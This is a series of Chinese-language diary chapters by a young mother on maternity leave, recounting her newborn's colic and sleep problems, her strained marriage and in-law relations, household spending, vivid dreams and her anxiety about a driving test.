    更好的事就是宝宝的母乳性黄疸好了，然后她的肠胀气，好多了，可能是因为她的活菌片，家婆喂药的时候吃到了，而我和老公给宝宝喂药，她都吐了效果很明显，家婆喂药宝宝一晚上都很安静。我和老公喂的药，估计吐了，一晚上就不舒服。也是有可能是中药的效果也很不错。贴中药好多天，贴了就不哭，不贴就哭。
    一天晚上梦见宝宝很想要爸爸抱，然后晚上突然宝宝就哭了醒来了。后来发现宝宝晚上的时候经常看着她爸爸，可是她爸爸晚上玩游戏，昨天听见她爸爸说他以前的朋友结了婚之后就没有玩那个游戏了，我瞬间就感觉很委屈，人家的老公结了婚都不玩游戏了，他居然还玩。像我们医院里的医生说结了婚以后根本就没有自己的时间，下班带娃娃，休息带娃娃，而我老公回家就玩游戏。他朋友都不玩游戏了，他还玩游戏，还说自己找不到人玩游戏。结果还是玩游戏。玩完游戏就看抖音。我指责他不抱抱宝宝，结果我洗漱回来看，他一本正经的说他抱了宝宝一个小时，弥补父爱，抱着宝宝打游戏。我也是无语了。不过老公还是在其他方面很好的，会教他弟弟学习。会买衣服给他的父母，家公家婆还好，我说房间里太冷了，想问家婆家公有没有二手空调买一个，然后一下午就给房间里装了个新的，热风机。
    我想要拿一点货做一下，产假有点子收入也好啊(ー_ー)!!第二天家婆就去拿货了。因为我没有学过缝纫机，也没有进过厂～。这个货对我来说特别的难。一毛三一个的货，做了好多遍，有一点点进步，但是并不能把一个货做完。所以没有什么用。我有点难受，更多的是特别的好笑，又感觉自己在嘲笑自己，特别的想发朋友圈，让我的朋友圈看看我到底有多笨。这是我的人生毛病，这个毛病就是很想让别人开心，而对别人开心在我心里的定义是只要我比别人惨，别人参照我就能开心起来。可是我并不能让所有人开心，尽管理智上知道这样子不对，但是心理里情绪里仍然是难以改变这个思想。
    我能学会吗？我想学会。我同事有好几个都会这个。因为她们初中打暑假工学过这个。所以技能点满满。我有点后悔没有打暑假工了。可是我不能把思想调到过去，也不能去未来，只能学会把握当下，好好学习。
    但愿我能学会吧！
    其实我有点子精力不足的感觉，明明月子快要过去了，可是突然又来了一些血。搞得我感觉我很没有精力。

 第114章

    带宝宝。宝宝已经满月了。今天做了几个缝纫机的货，全都是废品，需要家婆重新做的那种。看来发家致富的可能性比较小。本来还打算有第二职业，等以后工作下班了，就去拿一点点货自己在家里做，每个月能挣几百块钱就可以了，没想到一毛钱都做不出来。
    宝宝有点怕黑。可能看到了黑色的窗台，就呜呜的哭了。看见妈妈黑色的头发呜呜的哭。没有灯呜呜的哭。总之现在到了流眼泪的时候，感觉害怕就哭。
    不知道什么感觉。一月睡二月哭三月闹。慢慢来吧！
    最近不小心说了我很爱看小说，我好像不应该在朋友圈发这样子的内容，这样子会显得我很悠闲。哎呀呀可是这就是真实的自己。爱小说爱游戏，看电视。没办法，努力工作认真看书的这个人设崩了。其实我确实努力的时候很努力，不努力的时候很不努力。这个才真实嘛。
    最近做了很多奇怪的梦。
    梦见自己从十万米的地方掉下来，然后看到了一个很好看的女孩子身上有好多个国家的文字，我都不认识。然后梦见一种动物的蛋碎了，它很难过的情绪。然后梦见在一个路口，两个年轻人在吵架，吵架的内容很小，然后梦见了两个紫色头发的少年在说着听不懂的话。听着听着懵里懵懂就醒了。

 第115章

    最近的梦。
    可能太晚睡了，带娃还有喜欢看小说。所以搞得自己很疲劳。
    梦见了一个青铜鼎，鼎上长了一朵黑白并蒂莲，然后那朵花白色的部分快要死了，突然出现了一个男的老人家，对那朵花说：你我本是一体，我怎么会伤害你呢？然后那朵黑色的花变成了一个女孩子说了什么，我听不懂。恍然间宝宝在哇哇喊了一声。就醒了。
    最近宝宝好开心啊，有一天晚上，她在那里笑出了声。现在的宝宝一个多月，还不会说话，但是会哇哇的哭。
    我会和老公吵架的时候，感觉宝宝在叹气。当我的娃就是不容易啊！
    老公弟弟说，要是我有儿子都会被我骂死。我听错了，我以为他说我以后有儿子会骂我。我说我儿子敢骂我，我就和他说生你不如生块叉烧。生娃那么累，而且我的身体还有损伤。然后他不说话了。后来我晚上想了想为什么他会这么讲。因为弟弟在上幼儿园，他有的字知道写，还假装不知道写，搞得家婆很气很生气，就被批评了。毕竟他才五六岁子。一想到这个我就想笑。笑了几分钟之后才平静下来。
    宝宝晚上会吃奶。我感觉她晚上好有精神。凌晨一点，凌晨三四点，然后六点的样子。她很萌好可爱啊。皱眉头的时候很像我，一发现她皱眉头的时候，赶紧亲一下，她瞬间就雨过天晴开心了。内心只能狂喊：我的宝宝真的萌化了老娘的少女心。好可爱(??3(???c)！！！
    听我妈妈说我的体重，低体重，而且是早产生下来的。我猜可能早产了一个月吧！为此想要一年过五个生日。老公不愿意。好桑心啊！一个阳历的一个农历的，一个六一儿童节，一个身份证上的，一个我足月预产期的。一年才过五个生日而已。而已。

 第116章

    这几天娃都在夜里嗯嗯唧唧的，因为要放屁。放不出来。然后吐奶，可能我的心情不好吧！开心笑的时候感觉宝宝像一个小天使，夜里折腾的时候感觉像小恶魔。真的是太难受了。
    好几天晚上没有睡过好觉了。有的朋友他们说宝宝一直这样子，好几个月，将近一年。太累了吧！
    昨天去看医生了。医生是我同事，和我一样不会说话，也有可能人家和我熟一点，直接说我带娃没有什么经验，我听了有点不开心，然后仔细想一想我好像也是这样子讲话的，从来不会去考虑对方会不会开心。我确实没有什么经验。他的建仪还是有用的，他建议我喝完奶抱娃娃三十分钟左右，宝宝昨天试了一下没有吐奶，可是这样子好累啊，抱娃五分钟就受不了了。就和老公轮流抱娃，他也受不了，五分钟。我们还不太习惯带娃。
    最近有好些事，让老公干，老公说我天天都在写自传，他不敢不干。我听了有一点点难受。比如吹头发，很希望他帮我吹头发，增强一下夫妻之间的感情。算了吧，以后我就自己吹头发了。
    两个人的感情，你，我，我想象中的你，你想象中的我。有四个人。
    我感觉很温馨的事，对方会感觉很难受。我也可以自己吹头发的。
    带娃，从晚上十一点到凌晨三点多，到了三点我有点扛不住了，特别的困，这几天家婆说宝宝三点多就哭的很猛，而我和我老公两个人睡的和死猪一样，叫都叫不醒。
    昨天晚上我就一直熬到了三点多，感觉自己在三点多就像见到了鬼一样，那个鬼在那里说我让她过的不好，她也不像让我过的好，然后宝宝开始哭。然后又是一顿折腾。真的是大晚上见鬼了。问题是我都不认识那个鬼。
    接下来我就睡着了，梦见了自己在一个空间里。我的灵魂受了伤，梦里面有个人给我一些东西，她说需要一块九钱一支，共有十支。她说可以治疗我灵魂受伤的问题。我也不清楚梦里的我有没有买，总之我醒了。
    昨天下午在家婆的房间里睡觉，梦见自己是一个小孩子，体内有两道红的。旁边有个鬼在看着我。然后好累啊，我就睡着了，想着等下盖被子千万要注意小孩子，不能蒙住宝宝的口鼻，然后等我醒来，老公说我盖被子把宝宝的鼻子遮住了。真的是太郁闷了。
    我感觉最近的潜意识好累啊！可能这个家都不怎么喜欢我，而我也不怎么喜欢这个家了吧！一来是带孩子很累，二来，家婆说的话感觉她很不喜欢我一样，也是因为宝宝，感觉很多东西都是带有指责型的那种，比如夜里，太困睡着了，突然醒来了，发现家婆抱着宝宝说我宝宝刚刚哭了，然后还出了一身汗，然后给宝宝换衣服，凌晨三点左右。听到我耳朵里就感觉家婆是不是在说我带不好小孩子。我很想和她说要不妈妈你带一晚上，又怕这样子讲。因为之前我去考专升本，家婆带了宝宝三天，她就感冒发烧了，搞得后来她都是带着口罩带宝宝的，宝宝被她带的很好，宝宝没有发烧。但是她真的很辛苦。虽然看起来年纪不大，人人都说她才四十来岁就做了奶奶，但是她的身体不是很好，然后又有高血压。我不敢让她那么累。然后女人真的是一个家的好运气，家婆的心情有好多次观察，她心情不好，全家都在生病。实在是怕到我了。算命先生说，没嫁人要对妈妈有良心有孝心，嫁了人要对自己的家婆有良心，有孝心，因为这样子我会过的人生更好，更有好运气。一切都是为了利益。对我有好处，就干呗。
    我妈妈亲生的，但是她压力很大，我不理解她，那段时间过的不好，这样子也挺好的，我家婆又没有生出我来，自然是看外人一样。不过人家很有心，看得到，还得做得到，人家才会感觉我是个有良心的人。可惜现在的我看得到，还不晓得做，怎么学还是一个问题。
    回家看了爷爷奶奶，爸爸妈妈。感觉我妈妈好累啊，看她做的菜好像没有以前那样精心制作的了，也学会了家婆的方法，能在外面买就在外面买。有点子遗憾，可是她要去工地干活，也确实没有什么精力。奶奶的腿被弟弟推了一下，还没有好，然后上半身又病了，穿衣服之类的都是爷爷弄。爷爷也好累好累啊！还要搞弟弟的事。总之娘家都好幸苦。感觉爸爸也很疲惫，他以前的状态都还好的，虽然以前看起来状态一般，但是比现在好。
    也许是因为我长大了，感觉到了他们的不容易，所以感觉他们都老了吧！体会到了为人父母不容易，所以感觉他们很累吧！
    女人活在这个世界上确实不容易。因为要离开自己熟悉的地方，去另一个地方生活，而且还是一大堆生活习惯和自己不一样的人，不是嫁给了老公而是嫁给了老公整个家庭。生小孩子对身体有损伤，这样子的劳累又损伤心智。好幸苦啊！谈恋爱的时候感觉自己什么风险都能扛得住，等真的面对的时候，面对很多难题的时候，感觉自己撑不住。选择自己喜欢的人结婚也是一件很坑的事。总之嫁人，嫁到哪个家庭都很累。都是坑，需要选择自己喜欢的那个坑留着吧！
    很郁闷。为什么要嫁人呢？为了让自己的家庭观念传播信息传到别的家庭，取所长补己短吗？我只能这样子想象了。不然我不理解啊！
    我娘家的优点是很多严格的要求，比较有纪律。想事情可以周全，符合一定的品味道德。不过我没有学到，我很像我妈妈，脾气不好，会打弟弟妹妹。
    我婆家的优点是他们有什么事都会全家一起出动，不会让人孤独。比较温馨。不过我也没有学到。

 第117章

    生娃了以后的开支很大，我已经懒的记账了，记了我会心痛。
    可能潜意识好累。所以总是在做一些很光怪陆离的梦镜。最近看了一本小说，看完之后终于知道为什么这本小说会被禁了，写的鬼故事。看了之后天天都在梦见鬼。那个主角的能力，梦里的我根本复制不了，所以这几天的晚上都在梦见鬼。我以后不敢看鬼故事了。
    可是看其他的小说看不进去。找了一下人家说很好看的小说《黎明之剑》，还有《异常生物见闻录》，可是我看不进去。可能我对自己许下了承诺，看完那本鬼故事就会去练驾照的题目，全心全意考驾照。可是实际上的我很害怕考驾照。
    我已经报考驾照好多年了，然后科目一我都害怕去考，也没有去练题目。我胆子比较小，我的内心里总是特别的害怕。有很多很多这种负面情绪。好担心自己考不好，又担心自己考到了我会做不好事情，开车技术很烂。害怕会受伤。总是有这种拖后腿的情绪萦绕在心头。我这个人很奇怪，可能这就是内耗吧！
    好多其他的事也是如此。像考会计，报了培训班，学了两年也学不会，因为我好担心我学会了会计，我会做假账。还有各种各样恐怖的，不道德的事情，这样子想来想去，然后我的会计就不了了之了。
    我每天都在骂这样子想来想去的我是有病的。可是有一个文章说道德感特别的强的人，其实大部分都会这样子想。这篇文章让我心里好受了许多。
    我的内心里很羡慕很多人，但是却未必会认真去做。我也不知道为什么。三人行，必有我师焉，择其善者而从之，其不善者而改之。可是我也不知道为什么，没有学。有一篇文章说你眼里看到的别人很好，可是你并没有看到别人的不好。这就像，我一个打工的，工作特别的枯燥上班无聊乏味，没多少钱，我就总是眼巴巴的看着人家管理层的，内心会认为他们过的很好，而且对我来说，可能心里会很盼望对方出一些错误，以此来安慰自己乏味的生活。这是不道德的。可是这就是内心世界里的我。在没有人的时候，会产生很多这种情绪，面对这种负面情绪，只能不停的暗示自己是一个很棒的人，不停的找很多的小事产生自信心，以此摆脱这种想法。
    最近特别的看动漫，因为纸片人比真实的人更帅更好看，而且他们永远不会掉人设，不会让人难受。
    带娃，我并没有做的很好。能力不足，没有生娃之前说我一定要好好学习如何带娃，一定很简单，还以为产假可以像度假一样日子长而且又可以玩的特别的开心。后来的每一天有时候在流泪，感觉自己脑子里的水很多倒不完的那种。社会果然是分分钟教育我。带娃不容易啊！怀孕的时候终于感觉到了孕妇的不容易。生娃之后，终于知道当妈的不容易了。
    而且还掉智商，生娃之前我感觉我的智商低，生娃之后感觉自己的智商已经是负数了。一件又一件的小事，怎么讲都听不懂，而且不理解。
    这些事情让最近的我感觉很难受。付出青春年华，很多很多的精力。去生孩子。值得吗？我感觉不值得。可是我也是这样子被我妈妈生下来的。
    所以不值得又怎么样呢？生孩子就像生机甲一样。一开始我没有感觉这娃娃是我的娃，后来发现，她看到我好开心的样子。可是我没有当妈妈的那种角色感，感觉自己仍然是一个小孩子虽然已经二十多岁了快奔三了。，可是小孩子一样的我拥有了小宝宝。不可思议。还有很多带宝宝的技巧不会。
    虽然我们医院有课程，但是怀孕的时候我上班没有时间去学习。很遗憾没有学到。
    这就是最近的我吧！
    感觉在说废话，可是说很多的废话让我感觉很幸福。那就这样吧！生活日常不就是这个样子。和工作一样平淡乏味，有很多的事情需要干。干好了可以偷得浮生半日闲，干不好就变得很累很累很累。

 第118章

我居然花光了钱。
    买了毛衣，哺乳期需要用的，宝宝的衣服买的比较多，还有垫子，现在床上的是水纸，宝宝睡的脸红红的。我感觉我也没有买多少东西啊！怎么就花空了呢？
    而且感觉我还想买。
    今天去店里扫了支付宝红包0.04元。没想到只有四分钱。看来最近我的财运确实不乐观。
    内心里想要省钱，也省不到什么。

 第119章

    又是新的一天，又是新的花钱的一天。花了一千五百多。给自己和老公买了袜子，三十双。给家公家婆还有我自己买了加绒裤子。给宝宝买了四套全棉衣服。带宝宝到体检，给宝宝买了钙。她需要补钙，买了一些贴肚子的。五天的量，因为宝宝会胀气，用来备用，我们医院的贴肚子效果还可以。
    不过宝宝经常胀气。哎呀，可能是因为我怀孕的时候吃多了霉豆腐吧，还有螺蛳粉，之类的，这些调料比较多的，尽管备注了是孕妇，可是我就是比较喜欢这种东西吃，导致宝宝肠胃不舒服。应该是这样子。因为我亲戚讲过他的朋友，在怀宝宝的时候天天吃鸭脖之类的，生下来的宝宝经常拉肚子还是干嘛，导致在nicu住了一个多月的院。很有可能我的也是这样子吧！
    第二胎的时候，我要控制自己吧！
    这几天突然想到了一个小剧场。那个剧场里是两个人一起进店，问服务员有没有一种面，服务员说没有了，然后他说随便，因为这家店他最喜欢的面没有了，其他的都是凑合。反思一下我自己，我好像进店，从来都没有想要去吃什么，那里有什么就点什么，而且一般价格也不高。我这是生存也没有想过好不好吃，反正能吃就行，不饿死就行。日子过的好像很粗糙的感觉。可是这样子的我也尝到了很多好吃的东西。并没有感觉到遗憾。
    最近学到了情结，我一直不懂这是什么意思。看了一些文章，一些感情打成的结，也许是童年有一些受伤的情绪，没有办法愈合留了很严重的疤。一样的解释。学到了。我好像也有很多心灵里的伤口，不过我总要学习着走出来吧！
    我的是初恋情结！！！想到就会郁结于心。可是也就那样子吧！毕竟阶层不一样。我书读的太少。工作的时候，又有极致的悲伤，根本就没有朝着美好的方向前进的意思。所以我也不知道这种情结是干嘛的。想要靠近却又不努力的样子，很像我和我妈妈相处的样子。非常的傲娇。心里很想念她，可是却并不会靠近，而且还是用愤怒的情绪和她说话，有种指责她在我很小的时候就离开了去打工的感觉。碰到这样的人。也是一样的，应该是很喜欢很喜欢吧！才会有这样子的反应。可是也就这样子了。
    我和我妈妈的关系并没有变好。也就这样子过去了。我嫁了。没有关系到爱与不爱，反正我需要生存下去。我也不知道生存下去的意义是什么？只是人生目标就是活到六十岁。没有太多的需求了。反正很多的事强求不来。只能顺其自然。
    我感觉我的宝宝是一只非酉，因为我带她总是毛手毛脚的，不够细心小心。希望她长大后会变成欧皇吧！希望她幸运快乐。作为老母亲只能这样子祝福了。
    很可惜我生日的愿望许的事希望老公的弟弟会变得有出息。还不如许愿让我自己有出息呢！他太小了，根本不懂很多事。
    我总是忘记自己的生日，我不太喜欢我的生日，因为这个日子记录我是一个早产儿，不过老公也买了蛋糕给我吃。小小的很好吃。没有拍照记录。我喜欢的日子过生日才是最好的。妹妹会记我的生日，让我有点子感动。其实也不太感动。我只希望她变得有钱，以后我能安心做个腿部挂件。别的不求什么了。
    有的时候会想自己是不是积了很多德才遇见我老公，感觉老公很不错，可是有时候又感觉自己可能是倒了八辈子霉才遇见他。可能缺了好多德才遇见他。真的是神奇。很想去和他沟通，发现沟通不顺的感觉。真让我抓狂啊。
    算了不要吐槽了，日子就是这么神奇，有什么办法啊！

 第120章

    最近看了一本书，终于把宝宝的问题给稍微解决了一点点，两天睡了个好觉。《实用程序育儿法》，看了这本书反思一下自己，才发现宝宝睡不好是因为我一看她哭就认为她是肠胀气，不停的抱起她，搞得她很不舒服，然后晚上的灯光非常的亮。然后白天并没有给她做很多操，一天也就做一两次的操，活动量有点少。去医院体检，发现宝宝没有长的很快，钙片我自己忘记吃了，宝宝也忘记补vd。可能是每天晚上摇来摇去的，我心里有很多负面情绪，导致自己越来越拖延导致的。
    慢慢的反思改进，发现宝宝可以睡的很好。
    这样子让我跟开心。很有成就感。
    不过也想一想，如果把我丢到家婆还有我妈妈那个年代我仍然会感觉到气的跳脚。因为我没有经验。完全没有。然后宝宝的需要有的时候我可以马上感觉到和有心灵感应一样感觉到，可是有的时候感觉不到，或者感觉到了宝宝有不舒服，却想不出什么办法。我记得以前初中学习的时候有一篇文章说女孩子如果她变成了妈妈她就会为母则刚，变得很有办法，可以想到很多很多解决问题的办法。这就是女孩和妈妈的不同。而在工作中我感觉到的不太一样，我身边的同事她们当妈妈了之后变得特别的果断不纠结那么多。做事也不太害怕的那种。可能这是我多想了吧。
    现在的自己其实仍然有一股臭脾气。很差的那种，我正在改变我的气场。努力中。但是我的修养其实很烂，忍的话会让我变得越来越气，我该怎么样去提升我的修养呢？这是一个很难的题。
    我害怕考驾照，我害怕害怕。
    我已经报考很多年了，产假的时间是最长的，再不学之后就没机会了。我最近在鼓励自己，考到了驾照，没准我也可以开滴滴打车，证钱，没准可以进一些货品，以后下班了还可以出去摆摊有收入。总之想了很多，仍然诱惑不了我。为什么我会害怕考驾照呢？
    怕开车怕出车祸，内心拒绝这样子的事。可是真的需要考驾照啊！不考驾照以后回娘家都难，老公上班一个月才两天假，他不可能送我回娘家，每个月他休假要么这个事要么那个事。只能靠我自己。
    想好好学习。怎么样才能带动我的情绪呢？

 第121章

    我感觉自己越来越会胡思乱想了。可能是我太敏感了吧！
    今天家婆讲一个同事呆呆的，搞的她做事全部都坏了，需要全部返工，她感到很烦躁。然后我听了有点想要疏通她的坏情绪，但是发现自己的语言技巧不够，感觉自己被别人讲了一样很不开心。
    因为之前本来我也想做缝纫的东西的，可是我学了两天没有学会，基本上我做的东西都需要家婆返工做过一遍。所以听到家婆在抱怨的时候，我会感觉我也曾被抱怨过。可是在理智上来说，做事不好，不能干确实应该被抱怨，可是我不喜欢被人讨厌的感觉。
    然后在听家婆讲她同事的事的时候，感觉自己被抱怨了，家婆在讨厌同事的时候是不是也在讨厌我呢？或许她的同事只是她对我的投射，因为他们都需要上班，而我在休产假。可是转念一想，家婆是不是感觉自己的儿子太搓了，希望把家里的环境搞坏，让我和她儿子离婚，以后去过更幸福的好日子呢？这样子一想，瞬间对家婆没有什么意见了。
    反正事还是需要多干。毕竟我还年轻。不过反思一下自己，确实很多地方都做的不好，地从来不拖，家婆拖地，然后做饭不做，家婆做，因为我做的饭菜不合家里大部分人的口味，做了饭小孩子不吃，然后就不做，还有第二个原因就是天气更冷了，冬天做好了饭人没有回来，就会冷掉不好吃，如果等人回来了再做饭，几乎没有机会，我在带宝宝，我如果承担这部分，宝宝就会被我放下。而且家婆做饭菜更利索，十分钟左右就能搞定。我的话一两个小时一个菜。从人力时间来算我做饭菜并不划算。家务的话，我没结婚时不太喜欢拖地扫地，结婚后就更不喜欢了。
    很多时候很羡慕很欣赏家婆做家务还有干活的执行能力。可是我想我成为不了这样子的人吧！
    最近给宝宝锻炼身体，做被动操，她做完了就睡的挺香的。
    不过我发现我正在给宝宝注入不好的习惯，一吃奶就睡觉。我需要想一想怎么把习惯调整过来。
    最近看了几本小说，好开心啊，驾照的题目做了三百了。虽然这其实很少，但是我也知道我自己的尿性。夸一下吧！我做的真好，我做了三百了，很棒。
    我对驾照的积极性特别的烂，只能通过这样子的方式鼓励一下自己了。
    老公说想要在明年买新车，本来打算买二手车的。他突然又改变主意了，拿他没办法，我其实不是很想要买新车，新车更贵，而且我们本来就没有多少钱，家里还欠钱。可是他这个人嘴巴开过光的，要是没有买会通过其他方式亏钱，亏的数目和他想要的东西更多的价值，实在是怕了这个人。以后毕竟也不是我开车，万一买了不合心意的车以后相处不愉快又是一个事。
    可是买车又有一点麻烦。钱还没有还完，贷款买车，以后生活开支我的占比又更大，本来我想攒钱买房子的。算了让他吧！买房子还贷款，还有装修又有好多钱，虽然计划五年左右买房，实际上可能需要十年，付了首付，还有装修需要钱，好一点的装修二十几万，也可以不装那么好的，总之生活不易啊！

 第122章

    和老公回老公那边的老家，奶奶过生日。奶奶过生日，好像一般般的气氛。菜还好吃，但是都很咸，没有汤。在家里住了一天，让我感觉开心的事，那两天的天气很暖，宝宝更不会感觉到冷，然后家公老公他们去挖竹笋了，然后今年是翻年没有什么竹笋，所以找到了几个竹笋，晚上炒了竹笋吃特别的好吃。
    我感觉奶奶过生日不是很快乐，可是我也不能做什么。天气好就是好的。
    那天我被批评了，因为我不会抱着宝宝吃奶，只知道躺着给宝宝吃奶，可是我又想一下，被讲了也挺好的，讲开一点，以后我就可以开心的躺床上吃奶，然后还可以玩手机。一举两得。
    塞翁失马，焉知非福。这样一想也挺好的。
    我的老公可能并不是很爱我，很多时候他对我的爱，可能是我的想象。有这个觉悟就好。看山是山，看山不是山，看山还是山。不要太在意这种感觉，感觉都是会骗人的。爱情只存在于自己的想象之中。两个人的能力也就这么一点点，要怎么证明呢？没怎么对吧！很多浪漫都很浪费钱，有钱的时候多花一点浪漫一下，没钱的话就简单一点，能感觉到这种幸福也是好的。

 第123章

    我感觉自己想结束了不写了，又总会冒出点什么来！好神奇的感觉。
    看了一下自己的字数才写了24万。一共，今年可能也就这了几千字吧！老公说希望我写文能够发展出副业，我也这么想的，每次看别人晒写小说的收入都眼馋的不得了，可是到了自己手上，没有文采，没有阅历，没有脑洞大开的想象力，一切都是平淡的乏味的，很想让我感觉很困的。没感觉，哪怕今天的天气很好，阳光明媚，还没有什么风，空气里也没有什么清冷的感觉，可是我还窝在床上，带宝宝，想带宝宝出去走走，可是这样子一来几乎就我一个人在走，宝宝没办法运动，在家里的话，吃完了奶换完了尿裤，过了一段时间就会给宝宝做操，对宝宝的发育很好，如果出去了的话，就我一个人在动，宝宝没有办法运动，她会在摇篮车里睡的很香，然后晚上就会整夜都很清醒，她爸爸很晚回家，有的时候一起带娃，这样子对她爸爸来说是很累的。虽然家婆说过在他们那个年代带宝宝是很辛苦的，老公奶奶也是这样子讲，可是现代的科技更发达了，我不太想，整夜不眠不休的带娃，因为娃娃很辛苦，我也很辛苦。虽然妈妈这是一个很伟大的名词，因为付出了很多的心血。说自己很累很辛苦有的时候其实是为了控制而已，让别人对自己没办法抗拒要求，而这样子做的效果就是，别人会更累一点，而自己也累，宝宝也累。可是变态一样的心理可以得到满足，因为生完了宝宝，智商下降的很厉害，如果带宝宝不累又让人发现自己智商下降了会得到自己老公或者家里人的不尊重，如果很累，能够看得到的累，那么就可以发脾气，人家也能用理解的方式忍着。发脾气的原因就是潜意识里没有声音的战斗了。
    差不多这样子吧！
    老公这里的习俗很奇怪，生下来的宝宝不停的说她笨丑，其实是反的意思，他们其实是赞美。一开始听到的时候很不开心，我生了女儿你不停的骂我的女儿，啥意思？很想吵架。但是没有明说反正不开心。后来我老公解释了我才懂。好奇怪的习俗。
    老公说我妈妈也会这样子，可是我在爷爷奶奶那里长大，他们好像没有这样子讲过，也没有看过家里人对小孩讲过，也没有夸过聪明，也没有说过丑和笨，严格也算不上吧，我小的时候打了很多酒精灯，这个我有印象，别的没有了，不过我特别的古板有依赖感。可能与家里比较严格有关。可是我家里也没有很严格啊！基本上也没有讲什么！我在家从小就没有怎么扫过地，最多也就洗一下衣服，浇水淋菜给地施肥，砍柴什的，基本上没干什么活。
    我不认为我是聪明的，也不认为我是愚笨的，总之很平淡的看待问题，这也许是好事，也许是坏事，就这样子吧！
    我做事总是讲理，其实很多事情是需要情理结合才做的好。尽管家里人教了很多，可是我学不会沟通潜意识里的情绪。
    不是害怕复杂而是真的就少那么一根筋。
    这是我的悲哀。因为缺少这种能力让我感觉自己很多事情都不够游刃有余。做不太好。

 第124章

    这几天的脑子好兴奋，晚上一晚上都在想事情，根本很难睡着。
    听说有家寺庙的钱被人偷了。而且有摄像头都还没有办法找到小偷，警察去了也没有找到。
    我想到了一个就是那个小偷一定是很有福德的人，所以他偷钱偷到庙里面，都没有被抓到。因为他有福分挡了麻烦。第二个就是寺庙应该加大摄像头的安装力度，安装的那个摄像头有点少或者像素低。所以导致没有拍到人。第三那个人应该会把钱还回去的，这是之前看的一篇文章，有个人过的很苦，而且特别特别的苦，他有一天就去寺庙里偷钱，然后寺庙里的一位和尚发现了他，他走了，有人问和尚为什么发现了偷钱的人不去追，和尚说的话我忘记什么意思了。大概也不理解。反正后来那个人又把钱还给那家寺庙了，因为他靠那些钱度过了危机，然后日子过的好了很多，就自己还回去了。
    我不理解这样子的文。但是听到了这样子的事，可以更好的理解那些痛苦的事。就像小诊所赊账一样，有的人他们一时半会儿没有钱，很急的病，一般诊所的医生都会结账，他们赊账看病，然后到了一定的时候，那些看过病的人，他们会自己过来还钱。医生也不用去催，我不理解。
    很多书上学过的东西我都不记得，忘记了，不过别人有话题的时候又可以想起来。它们已经变成了我的灵魂。可是我还是懵里懵懂。
    最近在小红书看到了一篇关于婚姻的文，写的内容很负面。大概就是谈恋爱七年结婚了，产生了很多矛盾，有的矛盾让现在的我产生了共鸣，因为我也在面对这样子的问题，可是我还是感觉千人千面，对于事情你赋予了什么意义，就有了什么样子的理解。就像一把刀你赋予它切菜的意义你就是很好的切菜的人，你赋予它伤人的意义，那么就产生了不好的影响。
    昨天想起来了一个好几年前看过的推荐的内容。大概的意思就是一个女孩她在商店里买到了一款碟片看到了自己的未来，未来她会遇见一个人，他对她很好，送她结婚戒指，然后决定和那个人结婚的时候，他的前女友在婚礼现场抱了他的孩子出现，然后事情就是一步一步的和那个碟片里的未来一样，她不太甘心，就改变了那个未来，结局就是她进了牢里，坐牢去了。那个时候看那个根本看不懂，而且怎么想也想不明白为什么一个女孩子她改变了她的未来反而坐牢去了。然后结婚了我就突然懂了这个故事。这就是婚姻吧！像故事里原本的角色就是谈了一个渣男，然后故事变成的事故成了很多人的笑柄。可是女孩子可以从里面找到自我。突破什么东西。而不去面对，也逃避这个问题，这个灵魂深处的情结，那么就有可能会结婚坐牢一样过日子，不是说找到了自我的人结婚也和坐牢一样，而是找到了自我的人，他们结婚了以后可能会做更多有利于自己的事情，而没有经历过这一切的人，会把自己困在过往的情结里。大概就是这个意思吧！其实我也不是很懂。
    谈一场轰轰烈烈容易死的恋爱还是安守本分老实巴交的平平淡淡的结婚生子。怎么选择都是一个坑。选自己满意的坑。入坑。就这样子。

 第125章

今天的心情很悲伤的感觉。我也不知道为什么。
    感觉有种想要毁掉自己的感觉。然后突然想起来一句“看着你想一个傻子，没想到一开口说话真的是一个傻子”这句骂人的话，骂自己。
    不知道为什么突然想要骂自己。也不知道为什么想要毁掉自己，也不知道为什么突然会感觉到悲伤。眼泪也来的莫名其妙。明明一切都很好，顺顺利利的。
    现在的我不开心，可是不开心很正常。我感觉自己笨也很正常，总有那么一段时间去反思自己发现自己某一个时间段就是很笨，回复不好。我也许应该这样子做或者那样子做更好。
    不过不知道为什么今天会不开心？

 第126章

    学而不思则罔，思而不学则殆。现在终于懂这句话了，很多东西我发现我学习了，也像模像样的在做，其实我不太懂这个叫什么意思。等我懂了，时机已经过去了。
    这是突然领悟的，我也不记得什么情况了。
    我把五十道题给错过了，无语了。
    不过今天玩了好久的游戏，玩游戏好开心啊！一天到晚都在玩，再过几天我就能攒好多鱼了，跟开心。
    最近冬天来了白天好冷啊，我很想白天开空调，因为想要给宝宝做操，可是这样子的话，空调怕吃不消，所以白天很少给宝宝做运动之类的，今天就给她做了一会儿运动，她很开心的感觉，然后就冷的流鼻涕了。还是到了下午开空调吧！
    还是游戏好玩。有的时候看到宝宝这样子会很抱歉，因为没有怎么和她互动，不过还是玩游戏好玩，时间不知不觉就过去了，虽然内心明白抱歉，可是我也没有办法改。我不知道为什么。也许是因为游戏有奖励作用，而宝宝给了我一种挫败感，时时刻刻提醒着我，我是个很差领的妈妈。所以完美主义的我面对崽崽有一点点的很累的感觉，而我事又没有做的很好，天天很疲惫的感觉。
    结婚了以后，每天都在内心怨恨当初的自己为什么不保持单身，因为单身真爽啊！然后第二个心理变态的想法就是感觉自己的脑子灵魂被别人征用了一样，总是有莫名其妙的情绪钻进自己脑子的感觉，我不喜欢这种状态。第三我也成为了自己讨厌的我，讨厌的人，以前我很反感那种自己日子过的不好，不想办法改变自己的生活而天天盼着别人倒霉心里看别人笑话的人，而现在的我是这样子的人，我正在盼着别人过的不爽，以别人的不爽而感觉到开心，快乐。内心感觉自己很垃圾，可是我变成了这样子的垃圾。
    如果遇到妈宝男。一那么比他还更妈宝，二婆婆是自己婚姻里的第三者，我也当她婚姻里的第三者，看谁恶心的过谁，第三搞好婆媳关系，以我的脑子我搞不好。
    好讨厌这样的感觉。以后的每一天都玩游戏吧！有的时候不是游戏好玩，而是我在带娃我老公在玩游戏我感觉很不爽，而两个人一起玩游戏，瞬间就没有了抱怨的想法，凭什么同样的是结婚，他天天玩手机我不能玩！玩了游戏之后我感觉跟开心了，面对宝宝的时候没有那种很不公平的抱怨的感觉。真好。玩游戏爽。
    如果有一天婚姻让我很累了，我就天天都不洗澡，把我老公恶心的赶走，多恶心几天，直到破裂。不吵架反正我吵不赢。和他聊天，直接讲，人家说不理解，然后一个劲找话题还是一个样子，干脆不要聊天，打游戏好了，还是玩游戏爽，真的很难得有一天会很安静的过完。而且没有一点点负面情绪的感觉。所以还是打游戏好。

 第127章

